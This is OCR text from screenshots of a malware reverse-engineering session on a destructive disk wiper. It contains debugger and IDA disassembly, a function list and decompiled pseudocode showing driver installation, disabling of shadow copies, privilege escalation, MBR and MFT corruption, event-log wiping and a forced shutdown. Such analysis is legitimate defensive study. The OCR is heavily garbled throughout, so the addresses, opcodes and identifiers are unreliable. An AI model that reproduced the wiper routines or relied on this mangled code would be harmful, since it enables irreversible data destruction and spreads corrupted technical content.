. . FF15 68504000 &1 dvord ptr ds :[<&GetlastError>] ) o |3 Foom 01 00302680 clbcsseet7s779e3carectbaEFSaBATdbcoZb1en
. - ZTeaa A ¢ chuned b ccafoce W TrTemk anncen > 5: [esp+14] 00402640 <lbc44eef75779e3caleefb8ff5a64807dbc942bled
€5p=0514FD20 &L"\\\\. \\EPMNTDRV\\0"
-text:004026E8 1bcd- :526E8 #1AEB <sub_4026A0+48> <
GUDump1 uDump2  4Dump3  @WDump4  WhDumpS @9 Watchi  bellocas ) Struct LA 78 LN R ER TR AN
ex [ASCIT - 00405100 | 1bcs- 00405100
05147D78| 5C 00 5C 00[2E 00 5C 00[45 00 50 00]4D 00 4E 0D, 000000
05L4FDES| 54 00 44 00(52 00 56 00(5C 00 30 0000 00 00 00| T.D.R.V. 00402640 | 1b: sub_302640
0514FD98| 00 00 00 00|00 00 00 00|00 00 00 00|00 00 0O 00 0514FD34 | 004026A0 1b(44zef75779!3(alzszﬁff5EMEDTdb(NZblM31672d77b?f591&d191591 Sub 402640
“tnaalnn nn an aalna an oo nol o itnas| 075ROCAD

?
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3 bcdech757T9e3caleclbBf5a64807 dbc342b 1e4a26T2d77b9f6928d292591 - PID: 3376 - Module: Tbcddec 757793 cal ecfbBff5a64807dbc42b1c4a2672d 776928292591 - Thread: Main Thread 11256 - x32dbg [Elevated]

Fle View Debug Tracng Plugins Favourites Options Help May 8 2021 (TranEngine)
coEzi |t tuBeEsers 2009

&l cru

- References ‘% Threads  # Handles

Trace

eo

|ilog [iNotes @ Breskpoints M Memory Map [/ Call Stack =#SEH o] Scrpt %] Symbos <> Source
55

. 3 push ebp Sub_4023C0
o[004023C1 || - 8BEC mov ebp, esp
o|o04023c3|| . 83E4 FO and esp, FFFFFFFO
. BIEC 38020000 sub esp,238
. T push es1
. oos7 push edi ip"
. o ea00 push 0
. . 68 80000000 push 50
. D ea03 push 3
. 64 00 push 0
. 64 0L push 1
3 8BC1 eax, ecx eax:L"NTUSER. DAT{47a6a17a-a514-11e7-a%4e-ec0d9a05 c860} . TMCont ainer00000000000000000001 . regtrans-ms”, ecx:L"\\\\7\\C:\\\Documents and Settings\\Default\\NTUSER.DAT{:
. 895424 40 mov dword ptr ss :[fesp+40], edx
. oFs7CO Xorps xmm0, xmmo
. 894424 24 mov dword ptr ss :esp+24], eax 7\\C:\\Documents and Settings\\Default”
. 68 00000080 push 80000000

50
C74424 44 00000000

. oF2s4424 7C
© OF298424 8C000000
. FFL5 7504000
N

8EF8
897C24 50
85FF

- ~ 74 05
| 83FF FF
- ~ 75 17
L 2 FFL5 68504000
o 00402420 85F
-+ OF84 59020000
o 00402428 3FF FF
~ OF84 50020000
> 6A
s 00402433| . ©8 30524000
o 00402438 -
o 00402439|| . FF15 58514000
o 00402457 || - 8sco
7812
o o0402443|| . 64 04
o 00402445 || . 88 3524000
o 00402444 | -
o 00402448|| . FF15 58514000
o|oo402a51|| . 8scO
v 75 03
> 83C6 08
> F3:0F7E05 F0514000
o 00402460(|.  8DSC24 90000000
<

push eax
mov dword ptr ss:fesp+44],0
mov esi,eax
mwaps mmvurd ptr ss:esp:7CJ, xmm0
vaps xmmword ptr ss:fesp+8C], xmmo
G cword ptr ds:[<&Createrilen]
mov edi,eax
mov dword ptr ss:fesp+50], edi
test edi,edi
e lbc44eef75779e3caleefbsrf5a64807dbco42bled a2672d7:
cmp edi, FFFFFFFE

e
ine 1be44eef75779e3caleefbsFfsa64807dbco42bleda2672d

€all| dword ptr ds:[<&GetLastError>]
test edi,edi

ed
je Lbcadeef75779e3caleefbsFFSa64807dbe942blesa2672d7:

mp edi, FFEFFFFF

e
je 1bcadeef75779e3caleefb8FFSa64807dbe942blesa2672d7:

push 4
uusn Lh:44eef’
push

call dwnr‘d ntr ds : [<&StrCmpNi-]

test eax,ea

I | 1hc44.agf7577933ca:LegﬂasFFsamsu7dhc942h1e432572d7

779e3caleefbsff5a64807dbc42ble422672

Dush Lh:A-ﬂeef’S“EEZ:aieethfFSaEABD’dh:QAIblEAaZG?Z
push es

call dwnr‘d Io ds : [<RStrCmphWs ]

test eax,

ea
ine 1be4hest75779e3cal eeFbEFF5 a64807db oAbl eda2672d7

add esi,8
movq xmm0, qword ptr ds : [4051F0]
lea ecx,dword ptr ss:[esp-90]

405230:L"\\77\\"

2ax:L"NTUSER. DAT{47a6al7a-a514-1le7 '} TMContai 1. regtrans-m
2ax:L"NTUSER. DAT{47a6al7a-a514-1le7 '} TMContai 1.regtrans-ms”
edi:"«aaxawaaip”, eax:L"NTUSER.DAT{47a6al7a-a514-11e7-a%4e-ec0d9a05c860} . TMContainer00000000000000000001. regtrans-m
edi 1" wesaawaaih”

di:

eax:L"NTUSER. DAT{47abal7a-a514-11e7-ad4e-

40523C: L™\ \\\ P\ "

NTUSER. DAT{47a6al7a-a514-11e7-adde~

004051F0:L

19205860} . MCont ai 1.regtrans-ms”

92 }. MContai 1. regtrans-ms

T{47a6al7a-a514-11e7-a84e-ec0d9a05c860} . THCont a1 ner 00000000000000000001.. regt ran
2589E68 L” \\\\7\\( \\Dn(umznts and Settings\\Defaul E\\NTUSER. DAT{47a6al7a-a514-11e7- 204 e-ec0d9a03 3603 THConta ner 0000000000000000000L . egtrans -ns"”

. text:004023D8 1bcddeef75779e3caleefb8FF5a64807dbco42bleda 672d77b9F6928d292591 : 52308 #1708 <sub_4023C0+18>

Y4bumpl W4Dump2  §yDump3 @Dumpd  E4Dump5 @ Watchl  Iellocls £ Struct

Address

Hex

004023C0
00402300
004023E0
004023F0
00402400
00402410

epmntdrv.sys is digitally signed by CHENGDU YIWO Tech Development Co., Ltd. Thiis driver usually located in the

S5 88 EC 83|E4 FO 81 EC|88 02 00 00|56 57 6A 00
68 80 00 00|00 6A 03 6A|00 6A O1 8B|C1 89 54 24|h
40 OF 57 CO(89 44 24 24|68 00 00 00|80 50 C7 44
24 44 00 00(00 00 8B FO|OF 29 44 23|7C OF 29 84|SD.
24 8C 00 00(00 FF 15 7C|50 40 00 88|F8 89 7C 24

5085 FF 705 83 FF FF|75 17 FF 15/68 50 40 00|p.vE  ivu.v. PG

At this step of our analysis we have extracted 4 legitimates embedded drivers.

'c:\WINDOWS\system32\' folder. It is a legitimate driver
.None of the anti-virus scanners at VirusTotal reports anything malicious about epmntdrv.sys

Look for network connections:
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“ 010 Editor - C\Users\REM\Desktop\Malware\Others\Hermetic\Hermetic\Hermetic\8033126133\1bcddeef7577%e3caleefb8ff5ab4807dbco42bleda.. — O
File Edit Search View Format Scripts Templates Debug Tools Window Help
R BEfFgaFd YXhHREDE 2B 53 STEN B E~Ff 0

. File
https:i//waw. . 1

ysU..com/rypa (c
)10i1.0,A. . . %51,
cl”. 3 coa. U..

20150 CAO....12

B Open Files
1bc...591

W Favor...Files

P Rece...iles

04230 .yZt.40911 WA Book...iles

23595920 . y0%. CN

1.0.pA....Sichwu

anc....B°yngdu10

0.pi.. CHENGYDU

YIWO BTech ".elg

opm! ].., yLtd.1 i B Explorer
>0<pé.5Digitail
IDU.- Myicrosoft
k' S. w.® V/ ydat Type

lon VA2E..1.B.1. Binary 01101000
0,4."- L. .7 :
8.....y..AX~1.ny SRR ie

) ”UOOHWB Bk Unsigned Byte 104

6y .AM@Ys»y"" . A8 Signed Short 29800
-A»y«EK. . Bakyjhi Unsigned Sh...| 29800
25rEwyi«{IOIEYYC Signed Int 1886680168
,6.190.ypi..é.bg -

j}’é@i@é .-y | §&Hpc Unsigned Int 1886680168
E y,pguﬁg—y_%m % "% Variables B Visualize

Inspector

Address Value
Found 13 occurrences of ‘http".
12EEQh http
15596h http
1A601h http
1BDD2h http
1BEOBh http
1BEG4h http
1BEABh http
1BECCh http
1C2D%h http
1C2FFh http
1C352h http
1C394h http
1C400h http

LN & Find in Files 2 Compare L Histogram -E Checksum #% Process t® Disassembler
Selected: 2 bytes (Range: 77536 [12EEQh] to 77537 [12EE1h]) Start: 77536 [12EEOh]  Sel: 2 [2h]  Size: 117,000  Hex ANSI LIT W OVR
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Start function

Functions O & x oA B Wowrenceso.. [ FEm. B [Eleseudoc. [ [Epseudoc. [ [Elpseudoc.. [
Function name Se public start
sub_401000 e start proc near
sub_4010B0 .tes
sub_4010F0 e var_7F8= dword ptr -7F8h
sub_401160 e var_7F4= dword ptr -7F4h
sub_4011E0 e anonymous_0= dword ptr -544h
sub_401370 e anonymous_1= dword ptr -548h
_401490_Send_control_codeToDriver .tes anonymous_2= dword ptr -53Ch
_401590_Crypt te:
_401870_Retrieves_INT_of_akey ey anonymous_3= dword ptr -538h
401090 _Read_ File tes anonymous_4= dword ptr -534h
401880 NTES FAT te var_524= dword ptr -524h
;ubjmfng - e TokenHandle= dword ptr -526h
_401D60_PhysicalDrive_corruptMBR?__WIPE tes var_51C= dword ptr -51Ch
sub_401FED e var_518= dword ptr -518h
_402290_MFT e var_514= dword ptr -514h
sub_402330 e pNumArgs= dword ptr -510h
;‘:ﬁ“iijg;:;ﬁdf""”“’f”"f["s“ o var_58C= _FILETIME ptr -5@Ch
<ub 4027F0 :m var_504= dword ptr -504h
sub 402870 16 SystemTimeAsFileTime= _FILETIME ptr -508h
sub_402890 te Parameter= dword ptr -4F8h
_4028D0_ntUser_relative e var_4FA= dword ptr -4F4h
_402920_AppData_relative tes Name= word ptr -4F8h
_402970_MyDoc_Desktop e var_4EC= dword ptr -4ECh
_4029D0_Driver_Install e var_4E8= dword ptr -4E8h
_402F30_Find_Folders ey var 4E4= dword ptr -4E4h
::E—:g;;gg ':i var_4E@= dword ptr -4E8h
_403310_LPTHREAD_START_ROUTINE? e var_4DC= dword ptr -4DCh
sub_403430 tes var_4D8= dword ptr -4D8h
_4034D0_Hide_NTFS_aperations e var_4D4= dword ptr -4D4h
_403620_Find_Data e var_4D@= dword ptr -4Déh
sub_4038A0 e var_4CC= dword ptr -4CCh
_403930_Driver_Service_Status ey hEvent= dword ptr -4C8h
_403840_ShutDown te: Filename= word ptr -458h
start e FindFileData= WIN32 FIND DATAW ptr -250h
sub_4040C0 .tes
sub_404130 .tes
sub_4041A0 1o el - G
_404500_Enumerates_file_Identifiers te: oy ebp, esp
sub 4045F0 e and esp, OFFFFFFF8h
sub_4047F0 tes sub esp, 524h
sub_404940 tes push ebx
sub_404A10 te: push esi
_404C00_Handle_File_Info_read_ops_to_act_on_NTFS te: push edi
_except_handler3 te: push 70h ; 'p' ; Size
memacpy i lea eax, [esp+534h+hEvent]
L 1o mov [esp+534h+var_518], @
push 2] ; val
push eax ; void *
mov [esp+53Ch+var_514], @
mov [esp+53Ch+var_524], @
mov [esp+53Ch+var_504], @
call memset
add esp, @Ch
mov [esp+538h+pNumArgs], @
xor esi, esi
test eax, eax
jz short loc_403BE2
ecx, [esp+53@h+pNumArgs]
ecx 5 phNumArgs
M N push eax ; 1lpCmdLine
Line 36 of 48
b Graph overview O& x |

e —

FEIE]

loc_483BE2:

lea eax, [esp+53@h+SystemTimeAsFileTime]
xorps xmm@, xmme

push eax ; lpSystemTimeAsFileTime

movq qword ptr [esp+534h+SystemTimeAsFileTime.dwlowDateTime], xmm@)|

eax, [esp+538h+pNumArgs]

edi, edi
sub eax, 2
jz short loc_403COF
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mov [esp+53@h+var_4CC], 65h ; 'e’
call ds:GetCurrentProcess
lea ecx, [esp+53@h+TokenHandle]
push ecx ; TokenHandle
push 28h ; (' ; DesiredAccess
push eax ; ProcessHandle
test eax, eax
jnz short loc_403CDA
1
Y

FEE

loc_4@3CDA: ; nSize

push 164h

lea eax, [esp+534h+Filename]

push eax ; lpFilename

push (%] ; hModule

call ds:GetModuleFileNamelW ; Retrieves the fully qualified path for the file that contains the specified module.

test eax, eax

jnz short loc_483D@9

L L
L
il a5 }
lea eax, [esp+536h+Filename]

; because when a sample has been dwloaded from a website, the name is his hash

push eax ; LPWSTR

call ds:wsprintfl

add esp, 8
"r=

ull s =

loc_483De9:

lea eax, [esp+53@h+FindFileData]

push eax ; lpFindFileData

lea eax, [esp+534h+Filename]

push eax ; lpFileName

call ds:FindFirstFilel

mov edi, ds:GetlastError

call edi ; GetlLastError

lea eax, [esp+53@h+FindFileData.cFileName]

push eax ; lpsz

call ds:CharLowerk
movzx  eax, [esp+53Bh+FindFileData.cFileName]

mov [esp+eax*8+536h+var_7F8], 6E@877h
mov [esp+eax*8+536h+var 7F4], 720058h
lea eax, [ebx+4]

push eax ; lpluid

lea eax, [esp+534h+Name]

push eax ; lpName

push 4] ; lpSystemName
call esi ; LookupPrivilegeValuell

lea eax, [ebx+16h]

push eax ; lplLuid

|push  offset aSebackupprivil = ““cbociupiiivilecet |
push %] 5 1lpSystemName
call esi ; LookupPrivilegeValuell

push 4] ; ReturnLength
push %] 5 PreviousState
push %] ; BufferLength
push ebx ; NewState

mov dword ptr [ebx], 2

push %] ; DisableAllPrivileges
mov dword ptr [ebx+8Ch], 2

mov dword ptr [ebx+18h], 2

push [esp+544h+TokenHandle] ; TokenHandle

call edi ; GetlastError
test eax, eax
jnz short loc 4@3DAF
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loc_403DA8:
push

; hHeap
eax

; (Calling HeapFree twice with the same pointer can cause heap corruption,
; resulting in subsequent calls to HeapAlloc returning the same pointer twice)

YV

eax,
jz loc_4040B5

eax

‘_Ii

; dwDesiredAccess

; lpMachineName

[esp+53@h+TokenHandle], eax
test eax, eax
jnz short loc_403DE1
I
v
s =
loc_403DE1: ; dwDesiredAccess
push 22h ; '
push eax ; hSCManager
call ds:0penServicell
mov ebx, eax
test ebx, ebx
jnz short loc_4@3E@l
I
e =
loc_483E081: ; lpDisplayName
push [}
push [} ; lpPassword
push [} ; lpServiceStartName
push [} ; lpDependencies
push [} 3 lpdwTagld
push [} ; lpLoadOrderGroup
push [} ; lpBinaryPathName
push OFFFFFFFFh ; dwErrorControl
push 4 ; dwStartType
push 16h ; dwServiceType
push ebx ; hService
test eax, eax
jnz short loc_4@3E24
c/——
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il e 5=

test eax, eax
jz short loc_403E6E

push %] ; hModule

loc_403E3E: ; dwErrCode
push esi

call ds:SetlLastError

push 104h ; nSize

lea eax, [esp+534h+Filename]
push eax ; lpFilename

% 1
edx, [esp+530h+var 518]
ecx, [esp+530h+Filename] ; pszl

loc_403E6E:
xor esi, esi
vy

Iz
loc_403E70:
push offset sub_401D10
lea edx, [esp+534h+var_514]
mov ecx, esi
inc esi
cmp esi, 64h ; 'd’ 'd" 64h=100
jle short loc_403E70

¥

I

lea
mov
push

call
mov
lea
mov
push
call
mov
mov
sub
xor
sub
imul
push
push
push
push
call
sub
sbb
test
ig

eax, [esp+530h+var 514]
edx, 1
eax ; int

_484C@0_Handle File_Info_read_ops_to_act_on_NTFS
edi, [esp+530h+SystemTimeAsFileTime.dwlLowDateTime]
eax, [esp+530h+TokenHandle]

esi, [esp+530h+SystemTimeAsFileTime.dwHighDateTime]
eax ; lpSystemTimeAsFileTime
ds:GetSystemTimeAsFileTime ; get current system time
ecx, [esp+530h+var 51C]

eax, [esp+530h+TokenHandle]

ecx, esi

esi, esi

eax, edi

edi, [esp+530h+var_50C.dwLowDateTime], @EA68h

esi

27168h

ecx

eax

sub_401000

edi, eax

esi, edx

esi, esi

short loc_403EE@
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i e =1
loc_403EE@:
mov esi, ds:CreateThread
lea eax, [esp+530h+Parameter]
push [} ; lpThreadId
push [} ; dwCreationFlags
push eax ; lpParameter
push [} ; dwStackSize
push [} ; lpThreadAttributes
mov [esp+548h+Parameter], edi
call esi ; CreateThread
push (4] ; lpName
push [} ; bInitialState
push 1 ; bManualReset
push Q ; lpEventAttributes
mowv [esp+54Bh+TokenHandle], eax
call ds:CreateEventh
push Q ; lpThreadId
push ] ; dwCreationFlags
mov [esp+538h+hEvent], eax
lea eax, [esp+538h+hEvent]
push eax ; lpParameter
push [} ; dwStackSize
push Q ; lpThreadAttributes
call esi ; CreateThread
mov edi, ds:SetThreadPriority
mov ebx, eax
test ebx, ebx
jz short loc_4@3F3E
-
ebx, @FFFFFFFFh
jz short loc_483F3E
I —
@FFFFFFFER ; nPriority
ebx ; hThread
edi ; SetThreadPriority
vf vy
[l i 5=
loc_483F3E:
lea ecx, [esp+53@h+var_518]
call sub_4027F0@
push 2} ; lpThreadld
push 2} ; dwCreationFlags
lea eax, [esp+538h+var_514]
push eax ; lpParameter
push offset sub_402870 ; lpStartAddress
push 2] ; dwStackSize
push a ; lpThreadAttributes
call esi ; CreateThread
mov esi, eax
test esi, esi
jz short loc_403F6B
[l i 5=
cmp esi, OFFFFFFFFh
jz short loc_403F6B
y
OFFFFFFFEh 5 nPriority|
esi ; hThread
edi ; SetThreadPriority
ij vV
il i =
loc_4B3F6B: 5 "C:\\Windows\\SYSVOL"

call ds:GetFileAttributesh
cmp eax, OFFFFFFFFh
jz short loc_483F93
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|]Z short loc_4€3+Y93

al, 16h
short loc 403F93
1

2BF28h ; dwMilliseconds
esi ; hHandle loc_483F93:

xor esi, esi

2

2] ; UExitCode
ds:ExitProcess

loc_483F95:

edx, [esp+534h+var_524]
ecx, esi

cmp esi, 64h ; 'd’
jle short loc_483F95

F:

P

lea

call
lea
mov
push
push

lea

push
push

add
lea
mov

mov
lea
mov
push
call
mov
mov
sub
xor
sub
imul
push
push
push
push
call
sub
sbb
test
ig

edx, [esp+53Bh+var 524]

sub_4038A0

eax, [esp+53Bh+var_524]

edx, offset _402920 AppData_relative
eax

offset _4028D0_ntUser_relative

eax, [esp+538h+var_524]

eax
offset sub_482890

esp, 18h
eax, [esp+53Bh+var_524]
edx, 1

edi, [esp+53Bh+SystemTimeAsFileTime.dwLowDateTime]
eax, [esp+53B8h+var_58C]

esi, [esp+53Bh+SystemTimeAsFileTime.dwHighDateTime]
eax ; lpSystemTimeAsFileTime
ds:GetSystemTimeAsFileTime

ecx, [esp+538h+var_50C.dwHighDateTime]

eax, [esp+538h+var_50C.dwLowDateTime]

ecx, esi

esi, esi

eax, edi

edi, [esp+53Bh+var 4F4], OEAG6Gh

esi

2710h

ecx

eax

sub_401000

edi, eax

esi, edx

esi, esi

short loc_404848
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FEE

loc_484048: ; dwMilliseconds
push edi
call ds:Sleep
push [esp+53@h+hEvent] ; hEvent
call ds:SetEvent
mov esi, ds:WaitForSingleObject
push 7536h ; dwMilliseconds
push ebx ; hHandle
call esi ; WaitForSingleObject
test ebx, ebx
jz short loc_404070
]

il el =
cmp ebx, @FFFFFFFFh
jnz short loc_404077

5
(bl e 5

loc_404070: ; hObject
push ebx
call ds:CloseHandle

e

FEE

loc_404077:
lea edx, [esp+536@h+var_504]
mov ecx, offset sub_401FE@
call sub_4038A0
xor edx, edx
mov ecx, offset sub_482330
call sub_4838A8
lea ecx, [esp+53Bh+var_524]
call sub_4027F0
lea ecx, [esp+536h+var_504]
call sub_4827F8
mov eax, [esp+538h+TokenHandle]
test eax, eax
jz short loc_4040B5

|

[l et 55
cmp eax, OFFFFFFFFh
jz short loc_4048B5

# 1

push BFFFFFFFFh ; dwMilliseconds
push eax ; hHandle
call esi ; WaitForSingleObject ; wait until the end of the encryption before exiting

f++v

loc_4040B5: ; uExitCode
push 5}

call ds:ExitProcess

start endp
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Pseudocode of the Start function

LookubPrivileéeValueWé@: L“SeéaékupPriQilege":’EPLUID)V9 + 2);

vib = 0;
vi5 = @;
Vil = @;

v33 = (PTOKEN_PRIVILEGES)VvS;

*{_DWORD *)v9 = 2;

viz = 0;

*((_DWORD *)v9 + 3) = 2;

*((_DWORD *)vo + 6) = 2;

AdjustTokenPrivileges ((HANDLE) TokenHandle . dwlowDateTime, w32, v33, v34, v35, (PDWORD)v36);
if ( GetlLastError() )

BEL_21:
if ( 402900 Driver_Install(&v29) )
{
vid = @;

v15 = OpenSCManagerW(®, L"ServicesActive", @xF@@3Fu);
TokenHandle._ dwLowDateTime = (DWORD)v1S;
if (w15 )
{
vl6 = OpenServicelW(vls, L"vss", @x22u);
vl7 = vle6;
if ( vie )
{

if ( !ChangeServiceConfighi(v16, @x10u, 4u, OxFFFFFFFF, @, @, @, @, @, @, @) )
vld = v1i();

ControlService(vl7, 1u, @);

CloseServiceHandle(v17);

CloseServiceHandle((SC_HANDLE)TokenHandle.dwLowDateTime) ;

}
else
{
v1ld = v11();
CloseServiceHandle((SC_HANDLE)TokenHandle.dwLowDateTime) ;
}
H
else
v1l4 = v1i();
SetlastError(vid);

if ( GetModuleFileNamell(@, Filename, @x104u) )
4823C0_Read_Write On_Disk(Filename);
for (1 =0; 1 <= 100; ++1 ) // scan until 100 disk?
401D60_PhysicalDrive corruptMBR__ WIPE(sub_401D10);// wipe the partition
484C00_Handle_File_Info_read_ops_to_act_on_NTFS(L"C:\\System Volume Information", 1, (int)&v48);
dwHighDateTime = SystemTimeAsFileTime.dwHighDateTime;
GetSystemTimeAsFileTime(&TokenHandle);
v20 = 60000 * v42_dwLowDateTime;
v21 = v20 - sub_401000(TokenHandle.dwLowDateTime - v20, TokenHandle.dwHighDateTime - dwHighDateTime, 10000, @);
if ((v21 <0 )
LODWORD(v21) = @;
Parameter = v21;
TokenHandle . dwLowDateTime = (DWORD)CreateThread(@, @, 403B4@_ShutDown, & arameter, @, @);
hEvent[@] = CreateEventlW(@, 1, @, @);
Thread = CreateThread(®, @, 40834D@_Hide NTFS_operations, hfvent, @, @);
v23 = Thread;
if ( Thread &% Thread != (HANDLE)-1 )
SetThreadPriority(Thread, -2);
sub_4827F0(&v329);
v24 = CreateThread(@, @, sub_402870, &40, @, @);
v25 = v24;
if ( v24 8& w24 != (HANDLE)-1 )
SetThreadPriority(v24, -2);
FileAttributeslW = GetFileAttributesW(L"C:\\Windows\\SYSVOL");
if ( FileAttributesW != -1 && (FileAttributesl & @x10) !=0 )

WaitForSingleObject(v25, ©x2BF2Qu);
ExitProcess(@);
H
for (1 =9; ] <=100; ++] )
481D68_PhysicalDrive_corruptMBR___WIPE(481B8@_NTFS_FAT);// choose partition and wipe
sub_4038A0(402290_MFT, &v37);
403620 Find_Data(4028D0_ntUser_relative, &v37);
493620 _Find_Data(sub_402890, &/27);
404C00_Handle_File Info_read_ops_to_act_on_NTFS(L"\\\\?\\C:\\Windows\\System32\\winevt\\Logs", 1, (int)&v37);

Tt lTro At Leor_TIoo_
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_4029D0 Driver_Install function = INITIALIZATION

. OS check to launch the adapted driver.

; int __thiscall 4029D@_Driver_Install(void *this)
_4029D8_Driver_Install proc near

SubKey= word ptr -8A8h
Destination= word ptr -6Aeh
var_498= OFSTRUCT ptr -498h
ReOpenBuf= _OFSTRUCT ptr -416h
pszDest= word ptr -388h
VersionInformation= _0OSVERSIONINFOEXW ptr -188h
var_5C= dword ptr -5Ch
var_58= dword ptr -58h
var_54= dword ptr -54h
var_50= dword ptr -56h
var_4C= dword ptr -4Ch
var_48= dword ptr -48h
var_44= dword ptr -44h
var_40= dword ptr -46h
var_3C= dword ptr -3Ch
var_38= dword ptr -38h
var_34= dword ptr -34h
var_30= dword ptr -36h
var_2C= dword ptr -2Ch
var_28= dword ptr -28h
var_24= dword ptr -24h
var_20= dword ptr -28h
var_1C= dword ptr -1Ch
nNumberOfBytesToWrite= dword ptr -18h
1pBuffer= dword ptr -14h
var_10= dword ptr -16h

Data= byte ptr -8Ch

var_8= dword ptr -8
phkResult= dword ptr -4

push ebp

mov ebp, esp

sub esp, 8ACh

push ebx

push esi

push edi

xor ebx, ebx

mov [ebp+var_208], ecx
push 2088h 5 Size
lea eax, [ebp+pszDest]
mov [ebp+var_24], @

push ebx 5 val
push eax ; void ¥
mov [ebp+var_1C], ©

mov [ebp+var_8], ebx

mov [ebp+var_5C], ebx
call memset

add esp, @Ch

call ds:GetModuleHandlell ; Return a handle to the specified module kernel32.d1l]

push offset psz2 N\
mov edi, eax
lea eax, [ebp+pszDest]
push 104h ; cchDest
push eax ; pszDest
call ds:wnsprintfil
add esp, 6Ch
mov [ebp+var_10], eax
test edi, edi
jz short loc_402A68
Ii L
MEE] |
mov esi, ds:GetProcAddress
push edi ; hModule
call esi ; GetProcAddress
push offset aWowb4revertwow ; "Wowb4Revertllowb4FsRedirection"
push edi ; hModule
mov ebx, eax

call esi ; GetProcAddress

push edi ; hModule
call esi ; GetProcAddress

mov esi, eax

test esi, esi

jz short loc_4082A6B
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jz short loc_402A6B

%I—

eax, [ebp+var_8]
eax
ds:GetCurrentProcess

eax
esi
#hv
M=
loc_A02R6B: ; Size
push 11Ch
lea eax, [ebp+VersionInformation]
push e ; val
push eax ; void *
call memset
mov esi, ds:VerSetConditionMask
add esp, @Ch
mov [ebp+VersionInformation.dwOSVersionInfoSize], 11Ch
mov [ebp+VersionInformation.dwMajorVersion], 6
mov [ebp+VersionInformation.dwMinorVersion], @
push 3 ; Condition
push 2 ; TypeMask
push 2]
push 7] ; ConditionMask
call esi ; VerSetConditionMask
push 3 ; Condition
push 1 ; TypeMask
push edx
push eax ; ConditionMask
call esi ; VerSetConditionMask
push edx
push eax ; dwlConditionMask
push 3 ; dwTypeMask
lea eax, [ebp+VersionInformation]
push eax ; lpVersionInformation
call ds:VerifyVersionIntoll
test eax, eax
jz short loc_4@2AES5

loc_482AES:

call ds:GetlastError
cmp eax, 47Eh

jnz loc_482F18

v

[ebp+var_8], ©
[ebp+var_1C], 1
offset Type ; "RCDATA"
short loc_402BoF

[ebp+var_8], ©
offset Type ; "RCDATA"
short loc_4@2ADE

short loc_402B14

loc_A402B14: ; hModule
push hModule

call ds:FindResourcel

mov esi, eax

test esi, esi

jz loc_402F18

; hResInfo
; hModule
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test eax, eax

loc_402F18

I.'I—

eax ; hResData
ds:LockResource
[ebp+1pBuffer], eax

eax, eax

loc_402F18

vlfliv

]
I
esi ; hResInfo
hModule ; hModule loc_402F18:
ds:SizeofResource pop edi
[ebp+var 8], @ pop esi
[ebp+nNumber0fBytesTolirite], eax| [xor eax, eax
short loc_4082B71 pop ebx
mov esp, ebp
pop ebp
retn
_4029D8_Driver_Install endp

il e =1
test ebx, ebx
jz short loc_482B71

| E——

eax, [ebp+var_5C]
push eax
call ebx

#iv

loc_402B71:

lea

mov
push

test
jnz

eax, [ebp+phkResult]
[ebp+phkResult], @
eax ; phkResult

eax, eax
short loc_402BB4

% L

4 ; cbData
mov dword ptr [ebp+Data], eax
lea eax, [ebp+Data]
push eax ; lpData
push 4 ; dwType
push [} ; Reserved

v

[l e =

loc_402BB4:

push [}

lea eax, [ebp+Destination]

push 104h ; cchDest
push eax ; pszDest
call ds:unsprintful

add esp, 16h

lea ecx, [ebp+Destination] ; 1lpFileName
xor edx, edx

push [} ; int

call _40187@ Retrieves_INT_of_akey
test eax, eax

jz short loc_402BFB
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mov
lea

lea

mowv

]z

loc_402BFB:

push
push

call
test

eax, [ebp+var 18]
ebx, [ebp+pszDest]

104h ; uSize
ebx, [ebx+eax*2]
ebx ; lpBuffer

dword ptr [ebp+Data], ebx
ds:GetSystemDirectorylW
eax, eax

loc_402F@E

lea eax, [ebp+pszDest]
push eax ; pszPath
call ds :PathAppendi
lea eax, [ebp+pszDest]
push eax ; pszPath
call ds :PathAddBackslashi
lea eax, [ebp+pszDest]
lea edx, [eax+2]

loc_402C46:

mov cx, [eax]

add eax, 2

test X, X

jnz short loc_482C46

I —

eax, edx

[ebp+var_1@8], 1Ah

eax, 1

ebx, [ebp+pszDest]
esi, @FFF1h

ebx, [ebx+eax*2]

word ptr [eax+eax+26h]

L'

FIE]

loc_402C78:

mov [ebp+var_58], 620861h
mov [ebp+var 54], 648863h
mov [ebp+var_58], 668065h
mov [ebp+var_4C], 68@867h
mov [ebp+var_ 48], 6A8865h
mov [ebp+var_44], 6C@06Bh
mov [ebp+var_48], 6E@86Dh
mov [ebp+var_3C], 7@086Fh
mov [ebp+var_38], 720071h
mov [ebp+var_34], 748073h
mov [ebp+var_3@], 76@875h
mov [ebp+var_2C], 788877h
mov [ebp+var 28], 7A8079h
mov edi, eax

xor edx, edx

push 4 ; cchDestBuffSize
lea eax, [edi+l]

div esi

mov ecx, edx

xor edx, edx

mov eax, ecx

div esi

mov esi, edx

xor edx, edx

mov eax, esi

shl eax, 18h

add eax, ecx

div [ebp+var_18]

movzx eax, word ptr [ebp+edx*2+var_58]
xor edx, edx

mov [ebx], ax

lea eax, [ecx+edi]

mov ecx. OFFF1lh
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push 40000000h ; dwDesiredAccess
push ebx ; lpFileName
call ds:CreateFilel

mov edi, ds:DeletefFileld

mov esi, eax

test esi, esi

jz short loc_4@2DE9

esi, BFFFFFFFFh

jz short loc_4@2DE9
*_l [
il e =1
push [} ; lpOverlapped
lea eax, [ebp+phkResult]
mov [ebp+phkResult], @
push eax ; lpNumberOfBytesWritten
push [ebp+nNumberOfBytesTolrite] ; nNumberOfBytesToWrite
push [ebp+1lpBuffer] ; lpBuffer
push esi ; hFile
call ds:lriteFile
test eax, eax
jz short loc_4082DCA
11
Y
mov eax, [ebp+nNumberOfBytesTolirite]
cmp [ebp+phkResult], eax
jz short loc_402DD6
1
il i =1
loc_482DD6:
cmp esi, OFFFFFFFFh
jz short loc_40@2DES
1
¥ v
esi ; hFile
loc_A82DCA: ; hObject ds:FlushFileBuffers
push esi esi ; hObject
call ds:CloseHandle ds:CloseHandle
push ebx ; lpFileName
call edi ; DeleteFilel
jmp short loc_402DE9
ﬁ
ol =
loc_482DE9:
mov edx, [ebp+var_20]
mov ecx, ebx ; pszl
push 88h ; Size
lea eax, [ebp+ReOpenBuf]
push 2] ; Val
push eax ; void *
call memset
add esp, @Ch
lea eax, [ebp+var_498]
push 88h ; Size
push 2] ; val
push eax ; void *
add esp, @Ch
lea eax, [ebp+ReOpenBuf]
push 2 ; wStyle
push eax ; lpReOpenBuf
push ebx ; lpFileName
call ds:LZ0penFileld
mov esi, eax
test esi, esi
js loc_482EF8
[
il i =1

Tlaa aav [lahnincsNac+]
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[ebp+var_1C], ©
eax, ebx
short loc_4@2EAl

push eax ; pszFirst
